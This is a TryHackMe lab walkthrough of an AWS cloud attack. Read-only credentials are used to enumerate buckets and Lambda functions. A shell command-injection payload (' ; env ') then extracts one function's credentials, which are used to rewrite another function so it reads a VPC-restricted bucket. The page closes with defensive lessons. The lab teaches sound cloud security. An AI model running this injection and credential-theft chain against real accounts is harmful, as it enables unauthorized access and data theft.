To access material, start machines and answer questions login.
The Uruks of Mordor have hired you to get access to a CryptoWallet in the Account belonging to a rival gang of Uruk-hai. The gang has obtained some read-only credentials to the target account through means you don't want to ask about. Unfortunately, the CryptoWallet is in an Bucket protected by a Endpoint policy. You cannot access it from anywhere except the .
For this challenge, the read-only credentials are the same ones provided by the TryHackMe environment, so continue to use them. You will want to leverage your AttackBox for this exercise.
Select the Cloud details button at the top of the room:

Where needed generate the environment required for the room. The "Generate Environment" button will appear if the room contains an environment that needs to be generated.

For any issues with the environment, select the "Reset Environment" button. Review this article for more information.
To view the credentials required for the environment, select the credentials tab. You can use these credentials to access the environment in various ways. More information can be found here:

From our mission brief, we know the wallet in question is located in . Let us list all the buckets.
user@machine$ aws s3 ls
2022-06-25 09:06:52 mauhur-coins-XXXXXXXXXXXX
2022-06-25 09:06:52 mordor-pics-XXXXXXXXXXXX
user@machine$ aws s3 ls s3://mauhur-coins-XXXXXXXXXXXX
2022-08-02 18:21:17 148 password.txt
user@machine$ aws s3 cp s3://mauhur-coins-XXXXXXXXXXXX/password.txt .
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
Ok, so why is this happening? Let's look at the bucket policy:
user@machine$ aws s3api get-bucket-policy --bucket mauhur-coins-XXXXXXXXXXXX --query Policy --output text | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Deny",
"Principal": "*",
"NotAction": "ANSWER TO QUESTION 1",
"Resource": "arn:aws:s3:::mauhur-coins-XXXXXXXXXXXX/*",
"Condition": {
"StringNotEquals": {
"aws:SourceVpce": "vpce-0fd14d90756f6f9d7"
}
}
}
]
}
There is an explicit deny on all object operations (except PutObject) from everywhere except a VPC. All access to the bucket is restricted to the specific VPC Endpoint! That's annoying.
These next two commands will describe the network topology. The first command will list all of the VPC Endpoints (which we discussed in Task 5 of the room VPC - Attack & Defense). This will allow you to confirm which VPC is bound to the bucket policy we enumerated above.
user@machine$ aws ec2 describe-vpc-endpoints
{
"VpcEndpoints": [
{
"VpcEndpointId": "vpce-0fd14d90756f6f9d7",
"VpcEndpointType": "Gateway",
"VpcId": "vpc-0d60212483132e833",
"ServiceName": "com.amazonaws.us-east-1.s3",
"State": "available",
"PolicyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"*\",\"Resource\":\"*\"}]}",
"RouteTableIds": [
"rtb-0a6c663e8adbdb68a"
],
"SubnetIds": [],
"Groups": [],
"PrivateDnsEnabled": false,
"RequesterManaged": false,
"NetworkInterfaceIds": [],
"DnsEntries": [],
"CreationTimestamp": "2022-06-25T13:07:23+00:00",
"Tags": [],
"OwnerId": "XXXXXXXXXXXX"
}
]
}
user@machine$ aws ec2 describe-vpcs
{
"Vpcs": [
{
"CidrBlock": "10.100.0.0/21",
"DhcpOptionsId": "dopt-0a371fbc2f3d6802b",
"State": "available",
"VpcId": "vpc-0d60212483132e833",
"OwnerId": "XXXXXXXXXXXX",
"InstanceTenancy": "default",
"CidrBlockAssociationSet": [
{
"AssociationId": "vpc-cidr-assoc-00a6f7bca9e0f80d9",
"CidrBlock": "10.100.0.0/21",
"CidrBlockState": {
"State": "associated"
}
}
],
"IsDefault": false,
"Tags": [....]
}
What is the Name of the VPC we need to target?
We will start with a simple list of the functions:
user@machine$ aws lambda list-functions
{
"Functions": [
{
"FunctionName": "list-images",
"FunctionArn": "arn:aws:lambda:us-east-1:XXXXXXXXXXXX:function:list-images",
"Runtime": "python3.9",
"Role": "arn:aws:iam::XXXXXXXXXXXX:role/MordorTravel-ReadImageBucket",
"Handler": "index.lambda_handler",
"CodeSize": 421,
"Description": "Lists all files from the Mordor Travel Agency",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2022-06-25T13:07:37.080+0000",
"CodeSha256": "8A2RxR6oqpuWYIXcyMiAYMD9Osjhr2kXtYAuZfsIilY=",
"Version": "$LATEST",
"Environment": {
"Variables": {
"LOG_LEVEL": "INFO",
"IMAGE_BUCKET": "mordor-pics-XXXXXXXXXXXX"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "5ff95fbf-bbe2-4328-867b-9d56c55ff9bc",
"PackageType": "Zip",
"Architectures": [
"x86_64"
]
},
{
"FunctionName": "download-images",
"FunctionArn": "arn:aws:lambda:us-east-1:XXXXXXXXXXXX:function:download-images",
"Runtime": "python3.9",
"Role": "arn:aws:iam::XXXXXXXXXXXX:role/VPCLambda-AmazonS3FullAccess",
"Handler": "index.lambda_handler",
"CodeSize": 539,
"Description": "Retrieves images from the Mordor Travel Agency",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2022-06-25T13:07:20.275+0000",
"CodeSha256": "m2SJ2fnsmVu8Amn+SZnSh6qF0KTIgI7uzkbNojS8gf0=",
"Version": "$LATEST",
"VpcConfig": {
"SubnetIds": [
"subnet-0953b2d67d7533543"
],
"SecurityGroupIds": [
"sg-02a173fd92a925e5d"
],
"VpcId": "vpc-0d60212483132e833"
},
"Environment": {
"Variables": {
"LOG_LEVEL": "INFO",
"IMAGE_BUCKET": "mordor-pics-XXXXXXXXXXXX"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "5c3bd7bf-0f68-4b87-9c91-2cb0cbaa20eb",
"PackageType": "Zip",
"Architectures": [
"x86_64"
]
}
]
}
What can we infer from the above?
- There is a serverless application that uses to serve pictures.
- One function lists the contents of the bucket, and the other downloads the contents.
- We can see from the VpcConfig in the download-images function that the function runs in the required to access that bucket.
- So we need to leverage that function to accomplish our objective!
What can these functions do? Run the following from your AttackBox to get the policies attached to each function:
FUNCTIONS="list-images download-images"
for f in $FUNCTIONS ; do
ROLE=`aws lambda get-function --function-name $f --query Configuration.Role --output text | awk -F\/ '{print $NF}'`
echo "$f has $ROLE with these managed policies:"
aws iam list-attached-role-policies --role-name $ROLE
for p in `aws iam list-role-policies --role-name $ROLE --query PolicyNames --output text` ; do
echo "$ROLE for $f has inline policy $p:"
aws iam get-role-policy --role-name $ROLE --policy-name $p
done
done
The above commands will iterate the list of functions, and for each, extract the functions execution role in the variable ROLE. It then lists the attached policies for the role, and any inline policies for the role. We will use that information in the next step as we analyze how compromising these functions can get us closer to our objective of reading the bucket.
Which Lambda function has the IAM permissions to access any S3 Object in any S3 Bucket in this account?
The function list-images has the AWSLambda_FullAccess managed policy. This means that it can change any other function! The download-images function is already in the VPC, and it has the AmazonS3FullAccess managed policy, which would allow that function to view all of S3!
It seems like a reasonable plan of attack is to use the credentials from the list-images function to modify the code of the download-images function.
Let's get the code bundles for both of these functions with the aws lambda get-function command. You should run this from your AttackBox.
FUNCTIONS="list-images download-images"
for f in $FUNCTIONS ; do
URL=`aws lambda get-function --function-name $f --query Code.Location --output text`
curl -s $URL -o $f.zip
mkdir $f
unzip $f.zip -d $f
done
The above commands will loop the two functions and call get-function extracting the pre-signed URL for the function (Code.Location). It will then run curl on that pre-signed URL to download the code zip file, and extracts it into a folder named after the function with the unzip command.
Now that we have the python code for both functions. Let's look at how we can exploit them.
The first function we need to attack is the list-images function. If we look at the code, you'll see it is a very simple lambda that runs the AWS CLI and doesn't sanitize any inputs. This should be easy.
def lambda_handler(event, context):
command = f"aws s3 ls s3://{os.environ['IMAGE_BUCKET']}/{event['prefix']}"
files = os.popen(command).read()
return(files)
When passed the following JSON, this function will return a list of objects in the IMAGE_BUCKET, then run whatever else we add to the end of the command. Something like this:
{"prefix": " ; env "}
If we look at the download-images function, we see this function's author used the python library for AWS (boto3). As a result, we cannot simply invoke this function to access the password.txt file in our target bucket.
But, when we invoke the list-images function and get those function credentials, we will have the power needed to modify the download-images function.
So let's make a few changes to the index.py in the download-images function.
Change line 18 from
Bucket=os.environ['IMAGE_BUCKET'],
to
Bucket='mauhur-coins-XXXXXXXX', (replacing XXXXXXXX with the correct suffix for your account). The function already returns the data and logs the file's contents to CloudWatch (line 22), so we don't need to do anything else.
Save the index.py file, and create a new zip file with this command run from inside the download-images directory.
zip -r ../compromised.zip index.py
We will use compromised.zip later in Task 6.
We're now ready to commence our attack. Create a file called payload. with the following contents:
{
"prefix": " ; env "
}That file will tell the function to run the unix command env which will print out all the environment variables used by the function. We will invoke that function with the following command. We pass in the json payload, and have the output written to the file output.json. We'll then parse the output.json looking for the environment variables that begin with AWS.
aws lambda invoke --function-name list-images --payload fileb://payload.json output.json
cat output.json | jq -r . | grep AWS
Now open a new window on your AttackBox and set the environment to use the new credentials you've just exfiltrated. You want to use a new window since you'll be operating as a different IAM entity. Make sure to use this new window for all the commands going forward.user@machine$ export AWS_SESSION_TOKEN=REDACTED
user@machine$ export AWS_SECRET_ACCESS_KEY=REDACTED
user@machine$ export AWS_ACCESS_KEY_ID=ASIAREDACTED
And validate that you're using the Lambda function's credentials:
user@machine$ aws sts get-caller-identity
{
"UserId": "AROASTZ6PFXLEA57NTJRH:list-images",
"Account": "XXXXXXXXXXXX",
"Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/MordorTravel-ReadImageBucket/list-images"
}
Now that we're operating with escalated permissions, update the download-images function with the zip file we created in Task 4:
aws lambda update-function-code --region us-east-1 --function-name download-images --zip-file fileb://compromised.zip
Create a new file - payload2.json with these contents (recall from Task 2 that password.txt is our target):
{"object_key": "password.txt" }
And then invoke the compromised function to read the target file:
aws lambda invoke --function-name download-images --payload fileb://payload2.json output2.jsonOur Orc friends made several mistakes in their cloud security.
1. Overly permissive roles
The download-images function didn't need AmazonS3FullAccess. The purpose of that function was to access a specific bucket. If they had scoped the policy to the right bucket, you wouldn't have been able to access mauhur-coins-XXX. Secondly, the list-images function didn't need AWSLambda_FullAccess. That managed policy is for account admins to create and manage lambda, not for the lambda functions themselves.
2. Unsanitized inputs
The list-images function didn't validate event['prefix'] before passing it to the shell. Thus we were able to use a simple command injection to access the environment variables and the AWS Credentials.
3. Lambda in a VPC.
There was no good reason to place the download-images function in the Mauhur's VPC - Do not Use . Sometimes developers or security architects have "on-prem thinking" and believe a function in a is more secure. As functions are invoked and managed via permissions, granting them un-needed access to the private corporate network allows an attacker to laterally move from the cloud to the network.
4. Leaking Read-Only Credentials
We don't know how your employer got the Read-Only credentials to Mauhur's account. However, with them, you could quickly find the bucket you wanted, the object in the bucket, the network layout, and download all the Code in the account to inspect them for vulnerabilities. ReadOnlyAccess is a very powerful managed policy and should not be used lightly.
5. Account Separation
The Orcs used one account for everything. recommends creating new accounts for each different application and business function. The Mordor Travel image application and Mauhur's Crypto Wallet should never have been co-located in the same Account.
Ready to learn Cyber Security?
TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.
Already have an account? Log in
